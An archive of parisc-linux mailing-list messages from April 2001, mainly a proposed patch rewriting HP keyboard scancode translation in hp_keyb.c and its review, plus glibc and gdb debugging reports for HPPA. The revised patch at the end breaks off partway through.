From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Keyboard driver patch proposal
Date: Sat, 28 Apr 2001 07:00:30 +0200
Lines: 228
Approved: news@gmane.org
Message-ID: <3AEA4E6E.A990140B@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B342E7BDACB673DADEE119F5"
X-Trace: ger.gmane.org 1416620086 18720 80.91.229.3 (22 Nov 2014 01:34:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:46 +0000 (UTC)
Cc: puffin@esiee.net
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 27 23:00:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96A57482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Apr 2001 23:00:32 -0600 (MDT)
Original-Received: from esiee.net (pc5158d.esiee.fr [147.215.50.170])
	by mail.esiee.fr (Postfix) with ESMTP
	id D562BD15C5; Sat, 28 Apr 2001 07:00:30 +0200 (CEST)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10945

Il s'agit d'un message multivolet au format MIME.
--------------B342E7BDACB673DADEE119F5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all!

The extended keys should now work properly with the correct SC_LIM
value, which was set to 59
but is in fact 0x59 ;-)

The error was due to escape (e0, e1 and others) keycodes that weren't
transmitted to the pc_keyb.c's handle_scancode function.
and escaped keys that weren't translated (explains the K_NONE errors).

So handle_at_scancode has been rewritten, the patch file is joined to
this mail.

It works fine on my B132.

I hope this is committable ;-)

Xavier Debacker
ESIEE Team
http://www.esiee.fr/puffin

--------------B342E7BDACB673DADEE119F5
Content-Type: text/plain; charset=us-ascii;
 name="patch20010428"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="patch20010428"

--- drivers/char/hp_keyb.c	Mon Mar 26 02:43:45 2001
+++ drivers/char/hp_keyb.c	Sat Apr 28 06:44:03 2001
@@ -7,8 +7,11 @@
  * 2000/10/26	Debacker Xavier (debackex@esiee.fr)
  *		Marteau Thomas (marteaut@esiee.fr)
  *		Djoudi Malek (djoudim@esiee.fr)
- * fixed some keysym defines and SC_LIM
- */
+ * fixed some keysym defines 
+ *
+ * 2001/04/28	Debacker Xavier 
+ * scancode translation rewritten (handle_at_scancode).
+ */  
 
 #include <linux/config.h>
 #include <linux/sched.h>
@@ -179,7 +182,7 @@
 /* 60 */  K_NONE, K_HASH, K_NONE, K_NONE, K_NONE, K_NONE, K_BKSP, K_NONE,
 /* 68 */  K_NONE, KP_1  , K_NONE, KP_4  , KP_7  , K_NONE, K_NONE, K_NONE,
 /* 70 */  KP_0  , KP_DOT, KP_2  , KP_5  , KP_6  , KP_8  , K_ESC , K_NUML,
-/* 78 */  K_F11 , KP_PLS, KP_3  , KP_MNS, KP_STR, KP_9  , K_SCRL, K_NONE,
+/* 78 */  K_F11 , KP_PLS, KP_3  , KP_MNS, KP_STR, KP_9  , K_SCRL, K_PRNT,
  	  K_NONE, K_NONE, K_NONE, K_F7  , K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
@@ -193,7 +196,9 @@
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
-	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE
+	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
+	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
+	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, KBD_RESEND, K_NONE
 };
 
 /* ----- the following code stolen from pc_keyb.c */
@@ -246,7 +251,7 @@
  * they needed not before. It does not matter that there are duplicates, as
  * long as no duplication occurs for any single keyboard.
  */
-#define SC_LIM 59
+#define SC_LIM 89
 
 #define FOCUS_PF1 85           /* actual code! */
 #define FOCUS_PF2 89
@@ -435,6 +440,7 @@
 	  }
  	} else
 	  *keycode = scancode;
+	
  	return 1;
 }
 
@@ -445,75 +451,70 @@
 { 
 }
 
-static inline void ps2kbd_key(unsigned int keycode, unsigned int up_flag)
-{
-	handle_scancode(keycode, !up_flag);
-}
-
-static unsigned char status;
-static unsigned char ncodes;
-static unsigned char bi;
-static unsigned char buffer[4];
-
 void handle_at_scancode(int keyval)
 {
-	int keysym;
-
-	if (keyval > 0x83) {
-		switch (keyval) {
-			case KBD_ESCAPEE0:
-				ncodes = 2;
-				bi = 0;
-				break;
-			case KBD_ESCAPEE1:
-				ncodes = 3;
-				bi = 0;
-				break;
-			case KBD_BREAK:
-				status |= CODE_BREAK;
-			default:
-				return;
-		}
-	}
-
-	if (ncodes) {
-		buffer[bi++] = keyval;
-		ncodes -= 1;
-		if (ncodes)
+	static int brk = 0;
+	static int esc0 = 0;
+	static int esc1 = 0;
+	int scancode = 0;
+	
+	switch (keyval) {
+		case KBD_BREAK :  
+			// sets the "release_key" bit
+			// when a key is released
+			// HP keyboard send f0 followed by the keycode
+			// while AT keyboard send the keycode with
+			// this bit set.
+			brk = 0x80;
 			return;
-		keysym = K_NONE;
-		switch (buffer[0] << 8 | buffer[1]) {
-		case ESCE0(0x11): keysym = K_RALT; break;
-		case ESCE0(0x14): keysym = K_RCTL; break;
-		case ESCE0(0x4a): keysym = KP_SLH; break;
-		case ESCE0(0x5a): keysym = KP_ENT; break;
-		case ESCE0(0x69): keysym = K_END;  break;
-		case ESCE0(0x6b): keysym = K_LEFT; break;
-		case ESCE0(0x6c): keysym = K_HOME; break;
-		case ESCE0(0x70): keysym = K_INS;  break;
-		case ESCE0(0x71): keysym = K_DEL;  break;
-		case ESCE0(0x72): keysym = K_DOWN; break;
-		case ESCE0(0x74): keysym = K_RGHT; break;
-		case ESCE0(0x75): keysym = K_UP;   break;
-		case ESCE0(0x7a): keysym = K_PGDN; break;
-		case ESCE0(0x7c): keysym = K_PRNT; break;
-		case ESCE0(0x7d): keysym = K_PGUP; break;
-		case ESCE1(0x14):
-			if (buffer[2] == 0x77)
-				keysym = K_BRK;
+		case KBD_ESCAPEE0 :
+			// 2chars sequence, commonly used
+			// to differenciate the two ALT keys
+			// and the two ENTER keys and so on...
+			esc0 = 2; // e0-xx are 2 chars
+			scancode = keyval;
+			break;
+		case KBD_ESCAPEE1 :  
+			// 3chars sequence, only used by the Pause key.
+			esc1 = 3; // e1-xx-xx are 3 chars
+			scancode = keyval;
+			break;
+//		case KBD_RESEND :
+//			// dunno what to do when it happens
+//			// Request For Comments
+//			printk("\n KBD_RESEND received ");
+//			return;
+		case 0x14 : 
+			//translate e1-14-77-e1-f0-14-f0-77 to 
+			// e1-1d-45-e1-9d-c5 (this is the Pause key)
+			if (esc1==2) scancode = brk | 0x1d;
+			break;
+		case 0x77 :
+			if (esc1==1) scancode = brk | 0x45;
+			break;
+		case 0x12 :
+			//an extended key is e0-12-e0-xx e0-f0-xx-e0-f0-12
+			//on HP, while it is e0-2a-e0-xx e0-(xx|80)-f0-aa
+			//on AT.
+			if (esc0==1) scancode = brk | 0x2a;
 			break;
-		case ESCE0(0x12):		/* ignore escaped shift key */
-			status = 0;
-			return;
-		}
-	} else {
-		bi = 0;
-		keysym = keycode_translate[keyval];
 	}
+	
 
-	if (keysym != K_NONE)
-		ps2kbd_key(keysym, status & CODE_BREAK);
-	else
-		printk("%s: K_NONE for %d\n", __FUNCTION__, keyval);
-	status = 0;
+	// translates HP scancodes to AT scancodes
+	if (!scancode) scancode = brk | keycode_translate[keyval];
+
+
+	if (!scancode) printk("\nunexpected key code %02x ",keyval);
+
+	//now behave like an AT keyboard
+	handle_scancode(scancode,!(scancode&0x80));
+
+	if (esc0) esc0--;
+	if (esc1) esc1--;
+//	printk("0x%02x ",scancode);
+//	if (!esc0 && !esc1 && brk) printk("\n");
+
+	// release key bit must be unset for the next key.
+	brk=0;
 }

--------------B342E7BDACB673DADEE119F5--





From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@thienemann.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 D boot
Date: Sat, 28 Apr 2001 11:37:10 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104281135430.4303-100000@gate.ixs.com>
References: <20010428003601.7105.qmail@web3806.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620086 18722 80.91.229.3 (22 Nov 2014 01:34:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?q?Dean=20o?= <deano_00075@yahoo.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 28 03:37:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bender.bawue.de (bender.bawue.de [193.197.13.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE04F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 28 Apr 2001 03:37:37 -0600 (MDT)
Original-Received: from gate.ixs.com (pD9026827.dip.t-dialin.net [217.2.104.39])
	by bender.bawue.de (Postfix) with ESMTP
	id 61C3A4863F; Sat, 28 Apr 2001 11:37:13 +0200 (CEST)
Original-Received: from localhost (andreas@localhost)
	by gate.ixs.com (8.9.3/8.9.3) with ESMTP id LAA04339;
	Sat, 28 Apr 2001 11:37:10 +0200
X-Sender: andreas@gate.ixs.com
In-Reply-To: <20010428003601.7105.qmail@web3806.mail.yahoo.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10946

Hi Dean,

On Sat, 28 Apr 2001, [iso-8859-1] Dean o wrote:

> I rescued the company's HP9000 D from the trash list
> but the file system is corrupt. I believe I  can run
> parisc linux,
Correct. At least it does run (more or less) on my box.

> is there a boot/install image available on either cd or 4mm dds ?
There are iso images available from www.esiee.fr/puffin or you can use NFS
tarballs anr boot the machine via network. These are avalable at the
parisc ftp-site.

 andreas





From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gdb segfault
Date: Sat, 28 Apr 2001 21:49:54 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20010428214954.B15328@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620086 18725 80.91.229.3 (22 Nov 2014 01:34:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 28 14:50:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0729F482A
	for <parisc-linux@parisc-linux.org>; Sat, 28 Apr 2001 14:50:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14tbf8-000548-00
	for parisc-linux@parisc-linux.org; Sat, 28 Apr 2001 21:49:54 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10947

compiled gdb myself out of current cvs tree.

(gdb) break gen_steps
Breakpoint 2 at 0x11744: file gconv_db.c, line 210.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) n
Program not restarted.
Segmentation fault


do_page_fault() pid=4246 command='gdb' type=15 address=0x000000a8               
                                                                                
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                           
PSW: 00000000000001000000001100001111                                           
r0-3     0000000000000000 00000000001d23f8 00000000400e4a0f 0000000000000000    
r4-7     00000000401d761c 00000000401d761c 00000000001d2d8e 0000000000000002    
r8-11    00000000001d339e 0000000000093210 0000000000099e50 000000000008a7b0    
r12-15   0000000000000000 0000000000000000 00000000000a87f0 0000000000000000    
r16-19   0000000000000000 0000000000038f00 0000000000000004 00000000401d761c    
r20-23   ffffffffbfe28a03 00000000400e49e8 0000000000072254 00000000401d2a18    
r24-27   0000000000000003 00000000401d761c 0000000000000000 00000000001cbbf8    
r28-31   0000000000000000 00000000002ecbb0 000000007ff005c0 000000000008e00f    
sr0-3    000000000000b780 000000000000b780 0000000000000000 0000000000300e00    
sr4-7    0000000000300e00 0000000000300e00 0000000000300e00 0000000000300e00    
                                                                                
IASQ: 0000000000300e00 0000000000300e00 IAOQ: 00000000400e4a0f 00000000400e4a13 
 IIR: 48740150    ISR: 0000000000300e00  IOR: 00000000000000a8                  
ORIG_R28: 0000000000000000                                                      


-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pt-initfini.c
Date: Sat, 28 Apr 2001 23:40:19 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010428234019.D15328@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620087 18728 80.91.229.3 (22 Nov 2014 01:34:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 28 16:40:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id ECF6A482A
	for <parisc-linux@parisc-linux.org>; Sat, 28 Apr 2001 16:40:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14tdNz-000712-00
	for parisc-linux@parisc-linux.org; Sat, 28 Apr 2001 23:40:19 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10948

glibc 2.2.3 requires a pt-initfini.c which is arch-specific (for hppa at
any rate).  dhd & amodra did initfini.c for hppa, and neither of them
seem to be around right now.  The IA64 pt-initfini.c differs from the
IA64 initfini.c by only a few lines.  So _for the moment_ in my local
copy, i've simply copied the initfini.c from the ordinary sysdeps as
pt-initfini.  Any volunteers to fix this mess properly?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.2.3 status
Date: Sun, 29 Apr 2001 07:00:02 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20010429070002.I15328@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620087 18730 80.91.229.3 (22 Nov 2014 01:34:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 29 00:00:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89FE7482A
	for <parisc-linux@parisc-linux.org>; Sun, 29 Apr 2001 00:00:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14tkFW-0008MT-00
	for parisc-linux@parisc-linux.org; Sun, 29 Apr 2001 07:00:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10949

Let's see...

 * If you edit sunrpc/Makefile to specify -Y /usr/bin to rpcgen (to fix our
   broken compiler).
 * And cp sysdeps/hppa/initfini.c \
	linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c

then glibc will build.

It will not pass `make check' though.  This seems to be crashing in the
dynamic loader when testing the iconvdata directory.  I've been trying
to debug this today, but haven't got very far.

gdb reports:

Program received signal SIGSEGV, Segmentation fault.
0x41013b94 in _dl_symbol_address (map=0x4014b000, ref=0x0)
    at ../sysdeps/hppa/dl-symaddr.c:26
26        Elf32_Addr value = (map ? map->l_addr : 0) + ref->st_value;
(gdb) bt
#0  0x41013b94 in _dl_symbol_address (map=0x4014b000, ref=0x0)
    at ../sysdeps/hppa/dl-symaddr.c:26
#1  0x40113ed4 in ?? ()

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard driver patch proposal
Date: Sun, 29 Apr 2001 00:24:49 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <200104290624.AAA21764@puffin.external.hp.com>
References: <3AEA4E6E.A990140B@esiee.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620087 18731 80.91.229.3 (22 Nov 2014 01:34:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Xavier Debacker <xavier.debacker@esiee.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 29 00:31:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F00E482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Apr 2001 00:31:20 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA21764;
	Sun, 29 Apr 2001 00:24:49 -0600
In-Reply-To: Your message of "Sat, 28 Apr 2001 07:00:30 +0200."
             <3AEA4E6E.A990140B@esiee.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:10950

Xavier,
It seems Helge Deller has reviewed and committed most of the ESIEE team
work in the past. Any word on if Helge will be able to review/commit
this patch?

Xavier Debacker wrote:
> +	switch (keyval) {
> +		case KBD_BREAK :  
> +			// sets the "release_key" bit
> +			// when a key is released
> +			// HP keyboard send f0 followed by the keycode
> +			// while AT keyboard send the keycode with
> +			// this bit set.
> +			brk = 0x80;
>  			return;

BTW, I'm told the '//' comment style is not ok;  "/* ... */" is expected.
It's not mentioned in Documentation/CodingStyle so I can't explain it.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard driver patch proposal
Date: Mon, 30 Apr 2001 00:14:42 +0200
Lines: 240
Approved: news@gmane.org
Message-ID: <3AEC9252.60CF83B7@esiee.net>
References: <200104290624.AAA21764@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------6831E9B357B22AD2F35EE512"
X-Trace: ger.gmane.org 1416620088 18733 80.91.229.3 (22 Nov 2014 01:34:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>,
	Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 29 16:14:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40D8B482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Apr 2001 16:14:48 -0600 (MDT)
Original-Received: from esiee.net (pc5158d.esiee.fr [147.215.50.170])
	by mail.esiee.fr (Postfix) with ESMTP
	id BA533D15F5; Mon, 30 Apr 2001 00:14:42 +0200 (CEST)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10951

Il s'agit d'un message multivolet au format MIME.
--------------6831E9B357B22AD2F35EE512
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Grant Grundler a =E9crit :

> Xavier,
> It seems Helge Deller has reviewed and committed most of the ESIEE team=

> work in the past. Any word on if Helge will be able to review/commit
> this patch?

I haven't read from Helge for a long time.  He seems quite busy.

> BTW, I'm told the '//' comment style is not ok;  "/* ... */" is expecte=
d.
> It's not mentioned in Documentation/CodingStyle so I can't explain it.

this is corrected in the patch joined here.

>
>
> thanks,
> grant
>
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253




--------------6831E9B357B22AD2F35EE512
Content-Type: text/plain; charset=us-ascii;
 name="patch20010428"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="patch20010428"

--- hp_keyb.c	Mon Mar 26 02:43:45 2001
+++ hp_keyb.c	Sun Apr 29 23:20:17 2001
@@ -7,8 +7,11 @@
  * 2000/10/26	Debacker Xavier (debackex@esiee.fr)
  *		Marteau Thomas (marteaut@esiee.fr)
  *		Djoudi Malek (djoudim@esiee.fr)
- * fixed some keysym defines and SC_LIM
- */
+ * fixed some keysym defines 
+ *
+ * 2001/04/28	Debacker Xavier 
+ * scancode translation rewritten (handle_at_scancode).
+ */  
 
 #include <linux/config.h>
 #include <linux/sched.h>
@@ -179,7 +182,7 @@
 /* 60 */  K_NONE, K_HASH, K_NONE, K_NONE, K_NONE, K_NONE, K_BKSP, K_NONE,
 /* 68 */  K_NONE, KP_1  , K_NONE, KP_4  , KP_7  , K_NONE, K_NONE, K_NONE,
 /* 70 */  KP_0  , KP_DOT, KP_2  , KP_5  , KP_6  , KP_8  , K_ESC , K_NUML,
-/* 78 */  K_F11 , KP_PLS, KP_3  , KP_MNS, KP_STR, KP_9  , K_SCRL, K_NONE,
+/* 78 */  K_F11 , KP_PLS, KP_3  , KP_MNS, KP_STR, KP_9  , K_SCRL, K_PRNT,
  	  K_NONE, K_NONE, K_NONE, K_F7  , K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
@@ -193,7 +196,9 @@
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
 	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
-	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE
+	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
+	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE,
+	  K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, K_NONE, KBD_RESEND, K_NONE
 };
 
 /* ----- the following code stolen from pc_keyb.c */
@@ -246,7 +251,7 @@
  * they needed not before. It does not matter that there are duplicates, as
  * long as no duplication occurs for any single keyboard.
  */
-#define SC_LIM 59
+#define SC_LIM 89
 
 #define FOCUS_PF1 85           /* actual code! */
 #define FOCUS_PF2 89
@@ -435,6 +440,7 @@
 	  }
  	} else
 	  *keycode = scancode;
+	
  	return 1;
 }
 
@@ -445,75 +451,75 @@
 { 
 }
 
-static inline void ps2kbd_key(unsigned int keycode, unsigned int up_flag)
-{
-	handle_scancode(keycode, !up_flag);
-}
-
-static unsigned char status;
-static unsigned char ncodes;
-static unsigned char bi;
-static unsigned char buffer[4];
-
 void handle_at_scancode(int keyval)
 {
-	int keysym;
-
-	if (keyval > 0x83) {
-		switch (keyval) {
-			case KBD_ESCAPEE0:
-				ncodes = 2;
-				bi = 0;
-				break;
-			case KBD_ESCAPEE1:
-				ncodes = 3;
-				bi = 0;
-				break;
-			case KBD_BREAK:
-				status |= CODE_BREAK;
-			default:
-				return;
-		}
-	}
-
-	if (ncodes) {
-		buffer[bi++] = keyval;
-		ncodes -= 1;
-		if (ncodes)
+	static int brk = 0;
+	static int esc0 = 0;
+	static int esc1 = 0;
+	int scancode = 0;
+	
+	switch (keyval) {
+		case KBD_BREAK :  
+			/* sets the "release_key" bit
+			 * when a key is released
+			 * HP keyboard send f0 followed by the keycode
+			 * while AT keyboard send the keycode with
+			 * this bit set. 
+			 */
+			brk = 0x80;
 			return;
-		keysym = K_NONE;
-		switch (buffer[0] << 8 | buffer[1]) {
-		case ESCE0(0x11): keysym = K_RALT; break;
-		case ESCE0(0x14): keysym = K_RCTL; break;
-		case ESCE0(0x4a): keysym = KP_SLH; break;
-		case ESCE0(0x5a): keysym = KP_ENT; break;
-		case ESCE0(0x69): keysym = K_END;  break;
-		case ESCE0(0x6b): keysym = K_LEFT; break;
-		case ESCE0(0x6c): keysym = K_HOME; break;
-		case ESCE0(0x70): keysym = K_INS;  break;
-		case ESCE0(0x71): keysym = K_DEL;  break;
-		case ESCE0(0x72): keysym = K_DOWN; break;
-		case ESCE0(0x74): keysym = K_RGHT; break;
-		case ESCE0(0x75): keysym = K_UP;   break;
-		case ESCE0(0x7a): keysym = K_PGDN; break;
-		case ESCE0(0x7c): keysym = K_PRNT; break;
-		case ESCE0(0x7d): keysym = K_PGUP; break;
-		case ESCE1(0x14):
-			if (buffer[2] == 0x77)
-				keysym = K_BRK;
+		case KBD_ESCAPEE0 :
+			/* 2chars sequence, commonly used
+			 * to differenciate the two ALT keys
+			 * and the two ENTER keys and so on...
+			 */
+			esc0 = 2; /* e0-xx are 2 chars */
+			scancode = keyval;
+			break;
+		case KBD_ESCAPEE1 :  
+			/* 3chars sequence, only used by the Pause key. */
+			esc1 = 3; /* e1-xx-xx are 3 chars */
+			scancode = keyval;
+			break;
+/*		case KBD_RESEND :
+ *			dunno what to do when it happens
+ *			Request For Comments
+ *			printk("\n KBD_RESEND received ");
+ *			return;
+ */
+		case 0x14 : 
+			/* translates e1-14-77-e1-f0-14-f0-77 to 
+			 * e1-1d-45-e1-9d-c5 (this is the Pause key)
+			 */
+			if (esc1==2) scancode = brk | 0x1d;
+			break;
+		case 0x77 :
+			if (esc1==1) scancode = brk | 0x45;
+			break;
+		case 0x12 :
+			/* an extended key is e0-12-e0-xx e0-f0-xx-e0-f0-12
+			 * on HP, while it is e0-2a-e0-xx e0-(xx|80)-f0-aa
+			 * on AT.
+			 */
+			if (esc0==1) scancode = brk | 0x2a;
 			break;
-		case ESCE0(0x12):		/* ignore escaped shift key */
-			status = 0;
-			return;
-		}
